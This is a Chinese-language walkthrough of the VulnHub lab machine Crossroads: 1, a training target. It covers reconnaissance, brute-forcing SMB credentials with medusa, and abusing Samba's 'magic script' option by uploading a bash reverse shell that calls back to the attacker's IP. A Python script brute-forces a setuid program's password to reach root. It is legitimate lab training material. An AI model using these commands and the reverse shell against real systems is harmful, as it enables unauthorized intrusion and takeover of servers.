vulnhub靶場之CROSSROADS: 1

2023-04-14 18:01:21

準備:

攻擊機:虛擬機器器kali、本機win10。

靶機:Crossroads: 1,下載地址:https://download.vulnhub.com/crossroads/crossroads_vh.ova,下載後直接vbox開啟即可。

知識點:stegoveritas工具使用、smb服務掃描、shell反彈、簡單指令碼編寫。

一:資訊收集

1.nmap掃描

使用nmap掃描下靶機地址,命令:nmap -sn 192.168.5.0/24,發現靶機地址:192.168.5.159。

使用nmap掃描下埠對應的服務:nmap -T4 -sV -p- -A 192.168.5.159,顯示開放了80埠、139埠、445埠,開啟了smb服務、http服務。

2.目錄掃描

使用gobuster進行目錄掃描,命令:gobuster dir -x php,jpg,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -u http://192.168.5.159,發現/robots.txt檔案和/note.txt檔案。

存取下/robots.txt檔案和/note.txt檔案,發現提示資訊和一張圖片資訊,存取:http://192.168.5.159/robots.txt和http://192.168.5.159/note.txt。

3.stegoveritas工具使用

將圖片下載下來使用隱寫工具來檢視下是否隱藏有資訊,命令:stegoveritas crossroads.png,生成一個新的資料夾:results。

在/result/keep目錄下發現一個檔案(就是第一個檔案名字可能不同)是字典檔案,後面會用到,將該檔案儲存下來後面會用到,別的檔案別動,我當時動了之後直接導致這個字典檔案沒了。

4.smb服務

使用smb服務掃描器:enum4linux對靶機進行掃描,發現一個賬戶:albert和兩個目錄:print$、smbshare。

二 :資訊利用

1.smb服務利用

登入smb服務時發現需要密碼,那就對smb服務進行爆破,命令medusa -h 192.168.5.159 -u albert -P /usr/share/wordlists/rockyou.txt -M smbnt,成功獲得一組賬戶密碼:bradley1。這裡開始使用的是hydra爆破,但是爆破不出來,後來使用win上的一個小工具超級弱口令檢測工具能檢測出來,不知道hydra檢測不出來的原因是什麼,然後就百度了一下,找到了medusa工具。

使用獲得賬戶和密碼資訊連線smb服務,命令:smbclient //192.168.5.159/albert -U albert,在目錄資訊中發現user.txt檔案,下載該檔案並讀取該檔案,成功獲得第一個flag值。

2.shell反彈

在smbshare目錄下發現一個smb的組態檔:smb.conf,讀取該檔案發現magic script = smbscript.sh,magic script選項為魔術指令碼,這個選項如果被設定了具體檔名,則Samba將在使用者開啟和關閉檔案後立即執行該檔案,因此我們直接上傳一個名字為smbscript.sh的shell反彈指令碼:bash -c 'bash -i >&/dev/tcp/192.168.5.161/6688 0>&1',成功獲得shell許可權。這裡需要smbclient //192.168.5.159/smbshare -U albert從新登入下smb服務,否則無法反彈shell。

3.逆向

將reboot檔案下載到本地,然後使用ida工具進行逆向,檢視其虛擬碼,發現是執行了/root/beroot.sh檔案。在shell中嘗試執行reboot程式,但是需要輸入密碼。

三:提權

1.指令碼編寫

用我們之前從圖片中發現的字典來進行爆破beroot程式的密碼,這裡需要寫一個指令碼上傳到靶機中,然後執行我們上傳的指令碼成功獲得密碼:#1bitch。

bp.py
 import subprocess
import os
import time
import sys

path = '/usr/bin/echo'
content = "wrong password!!"
blank = " "
executable = "beroot"

def broot():
        os.system("export TERM=xterm")
        with open("pass","r",encoding="ISO-8859-1") as file:
                    words = file.read().splitlines()   

        for word in words:               
                    execute = subprocess.getoutput(path + blank + (str(word)) + " | ./" + executable)                      
                    print(execute)
                    if content not in execute:
                            print("[!]Password:" + word)      
                            sys.exit(0)

broot()

2.提權

執行beroot程式,然後輸入我們獲得的密碼資訊:#1bitch,但是顯示仍是密碼錯誤,那我們將字典中的該密碼刪掉,命令:sed -i "s/\#1bitch/ /g" pass,從新跑一下,獲得新的密碼:lemuel。

告訴我們執行ls可以發現root creds檔案,檢視下該檔案資訊成功獲得root密碼:___drifting___,切換到root賬戶,然後再/root目錄下發現root.txt檔案,讀取該檔案成功獲得flag值。